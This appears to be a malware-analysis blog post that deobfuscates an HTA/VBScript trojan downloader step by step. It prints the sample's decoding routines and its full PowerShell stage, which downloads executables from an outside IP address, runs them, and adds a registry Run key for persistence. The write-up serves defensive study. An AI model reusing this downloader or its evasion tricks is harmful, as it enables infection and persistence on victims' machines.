June 24th, 2023 | |
Cracking open a simple multistage malware downloader | |
Malware Analysis | |
malware, malware analysis, vbs, hta, powershell |
Deobfuscating a VBS to Powershell HTA Trojan Downloader
The sample I'm looking at today is an HTA - a format that uses HTML, JScript and/or VBScript to make a desktop application. You can think of it almost like a precursor to Electron. Using the standard html <script>
tag, not only can scripts interact with the browser, but they can also interact directly with the windows system as well. This makes .hta
files a great first stage trojan downloader, as with the right obfuscation they would not alert an antivirus and can be easily disguised as a document in an email attachment such as an invoice or receipt.
This specific sample is f88643594cdc88c4527ed8776afad60ac295b75017da275ac9b56ca67b5c8ea3.hta
, an .hta
that uses VBScript. The file is heavily obfuscated, with 800 lines of code. However, removing all the functions that are never called reduces the lines to a mere 100.
The first function is pretty straightforward, taking in a string and returning one removing the special characters @
, *
and #
:
Function gwhkcimyb(dezoxkrykkuk)
dezoxkrykkuk = Replace(dezoxkrykkuk, "@", "")
dezoxkrykkuk = Replace(dezoxkrykkuk, "*", "")
dezoxkrykkuk = Replace(dezoxkrykkuk, "#", "")
gwhkcimyb = dezoxkrykkuk
End Function
Renaming the variables makes it even more clear:
Function RemoveSpecialChars(inputString)
inputString = Replace(inputString, "@", "")
inputString = Replace(inputString, "*", "")
inputString = Replace(inputString, "#", "")
RemoveSpecialChars = inputString
End Function
The next function in the file takes in a string xxjhkxmp
and an integer evwbczkzuvfj
, and XORs each character in the string by the Len()
of the integer. Interestingly, in VBScript the Len()
function when used on a non-string data type returns the number of bytes, so the characters are actually getting XOR'd by the number of bytes evwbczkzuvfj
takes, not its actual value. Weird. The function then stitches the XOR'd string back together and returns it, decoding it.
Function bhjqfyhc(xxjhkxmp, evwbczkzuvfj)
On Error Resume Next
Dim bzbeci
Dim cozskebrfd
Dim irnwtywmxulw
For bzbeci = 1 To Len(xxjhkxmp)
cozskebrfd = Mid(xxjhkxmp, bzbeci, 1)
irnwtywmxulw = Asc(cozskebrfd)
irnwtywmxulw = irnwtywmxulw Xor Len(evwbczkzuvfj)
irnwtywmxulw = Chr(irnwtywmxulw)
bhjqfyhc = bhjqfyhc & irnwtywmxulw
Next
End Function
Renaming the variables, the function now looks like this:
Function DecodeString(stringToDecode, decodeKey)
On Error Resume Next
Dim i
Dim character
Dim decodedChar
For i = 1 To Len(stringToDecode)
character = Mid(stringToDecode, i, 1)
decodedChar = Asc(character)
decodedChar = decodedChar Xor Len(decodeKey)
decodedChar = Chr(decodedChar)
DecodeString = DecodeString & decodedChar
Next
End Function
The function after that is really simple, just taking in an object and returning the Len()
of it:
Function yioaiktnz(qnzzdicvqtv)
yioaiktnz = Len(qnzzdicvqtv)
End Function
Custom Base64?
The next function is actually a custom-written Base64 decoder! I've done my best to rename the variables, but I am not entirely familiar with the base64 encoding process.
Function FromBase64(encodedString, charset)
Dim encodedStringLength
Dim decodedString
Dim i
encodedStringLength = GetLength(encodedString)
For i = 1 To encodedStringLength Step 4
Dim count
Dim j
Dim char
Dim charPosition
Dim decoded
Dim decodedChunk
eqCount = 3
decoded = 0
For j = 0 To 3
char = Mid(encodedString, i + j, 1)
If char = "=" Then
eqCount = eqCount - 1
charPosition = 0
Else
charPosition = InStr(1, charset, char, vbBinaryCompare) - 1
End If
decoded = 64 * decoded + charPosition
Next
decoded = Hex(decoded)
decoded = String(6 - Len(decoded), "0") & decoded
decodedChunk = Chr(CByte("&H" & Mid(decoded, 1, 2))) + _
Chr(CByte("&H" & Mid(decoded, 3, 2))) + _
Chr(CByte("&H" & Mid(decoded, 5, 2)))
decodedString = decodedString & Left(decodedChunk, count)
Next
FromBase64 = decodedString
End Function
Now of course to need a base64 decoder, we're gonna need a base64 encoded string to decode, and that is exactly what we find in this next function. This seems to be the main function as it is the one that calls all of the others. It defines the decodeKey
used in DecodeString()
, the charset and encoded string for FromBase64()
. Finally, it pipes the decoded base64 string into the Run()
method of WScript.Shell
, which just executes whatever is passed into it.
Function DecodeAndRun()
Dim charset
Dim decodeKey
Dim encodedString
Dim decodedString
Dim WShell
decodeKey = 1 * 3 - 1
charset = "@CBEDGFIHKJMLONQPSRUTWVYX[`cbedgfihkjmlonqpsrutwvyx{1032547698*."
charset = DecodeString(charset, decodeKey)
encodedString = "c#G93ZX*JzaGVs#bC5@leGU@gLU*V4ZW...[removed for brevity]"
encodedString = RemoveSpecialChars(encodedString)
decodedString = Base64(encodedString, charset)
Set WShell = CreateObject("Wscript.Shell")
WShell.Run(decodedString),0,true
End Function
The final line in the script just calls DecodeAndRun()
, setting the whole thing into motion.
So what exactly is executed from the decoded Base64 string? Well, you could reimplement the function in another language, or mess around with decoding the string with CyberChef, but the best solution is usually the simplest one: replacing the WShell.Run()
call with WScript.Echo()
After installing Wine and fiddling with Winetricks to get the Windows Script Host installed, I was able to execute it with $ wine cscriptt sample.vbs
(after copying the script out of the HTA container). The output was this big mess of a PowerShell command:
powershell.exe -ExecutionPolicy UnRestricted -Window 1 [void] $null;
$wdxubevfic = Get-Random -Min 3 -Max 4;
$qidanupkvwj = ([char[]]([char]97..[char]122));
$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});
$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;
$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;
$sypim=[char]0x53+[char]0x61+[char]0x4c;
$xzrhm=[char]0x49+[char]0x45+[char]0x58;
$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;
sAL ontghwqf $sypim;
$kjavpydntew = [char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;
ontghwqf fcwmus $xzrhm;
$andcvkhb = [char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43 | fcwmus;
ontghwqf gepnskxihqbmfo $edxlnf;
$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;
$nabltr = $jfwlpghdovb + '.jpg';
$lrtmu = 'aHR0cDovLzE4NS4yNDIuMTA0Ljc4L3dmdHAvcGFnZS0wMDEuanBn';
$lrtmu = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($lrtmu));
$qnjzpsbuxrh = $env:PUBLIC + [char]0x5c + $nabltr;
$kjavpydntew = [char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;
$hmclirdvqpu = New-Object $kjavpydntew;
try {
$dlfmhpo = $hmclirdvqpu.DownloadData($lrtmu)
} catch {
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;
$dlfmhpo = $hmclirdvqpu.DownloadData($lrtmu)
};
[IO.File]::WriteAllBytes($qnjzpsbuxrh, $dlfmhpo);
gepnskxihqbmfo $qnjzpsbuxrh;
$judsnpm = [char]0x48+[char]0x4b+[char]0x63+[char]0x55+[char]0x3a+[char]0x5c+[char]0x73+[char]0x6f+[char]0x46+[char]0x74+[char]0x57+[char]0x61+[char]0x72+[char]0x45+[char]0x5c+[char]0x6d+[char]0x69+[char]0x63+[char]0x52+[char]0x6f+[char]0x73+[char]0x6f+[char]0x66+[char]0x54+[char]0x5c+[char]0x57+[char]0x69+[char]0x4e+[char]0x64+[char]0x4f+[char]0x77+[char]0x53+[char]0x5c+[char]0x43+[char]0x75+[char]0x52+[char]0x72+[char]0x65+[char]0x4e+[char]0x54+[char]0x76+[char]0x65+[char]0x52+[char]0x73+[char]0x49+[char]0x4f+[char]0x6e+[char]0x5c+[char]0x72+[char]0x75+[char]0x4e;
New-ItemProperty -Path $judsnpm -Name $jfwlpghdovb -Value $bykmo -Force;
$zvngemsbua = 'aHR0cDovLzE4NS4yNDIuMTA0Ljc4L3dmdHAvRE9DLTAwMkguZXhl';
$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));
$mzyjvgc = New-Object $kjavpydntew;
$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);
[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);
gepnskxihqbmfo $bykmo;
$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);
foreach($tgmqlbc in $pnsva){$null = $_}""
Converting the [char]
s to text and renaming the variables makes the script more clear:
powershell.exe -ExecutionPolicy UnRestricted -Window 1 [void] $null;
$randomLength = Get-Random -Min 3 -Max 4;
$charset = [char[]] 'abcdefghijklmnopqrstuvwxyz';
$randomString = -join ($charset | Get-Random -Count $randomLength | ForEach-Object {[Char]$_});
$randomExeName = $randomString + ".exe";
$publicUserPath = "$env:PUBLIC" | Invoke-Expression;
$fullExePath = $publicUserPath + '\' + $randomExeName;
$randomJPGName = $randomString + '.jpg';
$JPGUrl = "hxxp://185.242.104.78/wftp/page-001.jpg";
$fullJPGPath = $env:PUBLIC + '\' + $randomJPGName;
$webClient = New-Object Net.WebClient;
try {
$data = $webClient.DownloadData($JPGUrl)
} catch {
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;
$data = $webClient.DownloadData($JPGUrl)
};
[IO.File]::WriteAllBytes($fullJPGPath, $data);
Start-Process $fullJPGPath;
$startup = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run";
New-ItemProperty -Path $startup -Name $randomString -Value $fullExePath -Force;
$EXEUrl = "hxxp://185.242.104.78/wftp/DOC-002H.exe";
$webClient = New-Object Net.WebClient;
$data = $webClient.DownloadData($EXEUrl);
[IO.File]::WriteAllBytes($fullExePath, $data);
Start-Process $fullExePath;
The URLs have been censored to prevent any accidental linking, however at the time of writing they were all inactive.
The script downloads an .exe
and a ".jpg
". However, the .jpg
later gets executed with Start-Process
which means it is likely just a regular executable with its extension renamed to .jpg
The script saves both of the executables to the Public
user's home directory, C:\Users\Public
with a randomized name between 3 and 4 characters.
Once downloaded and saved, the script executes the ".jpg
" and sets the .exe
to autostart by adding itself to HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
in the windows registry, providing persistance.
Finally, the .exe
is ran with Start-Process
and the script ends.
Unfortunately for us, by the time I had gotten my hands on this sample the links to both of the executables are no longer online, so I won't be able to dig into this specific sample any further. However, it was still very interesting to see just how these malware downloaders obfuscate themselves to evade detection, and the methods used.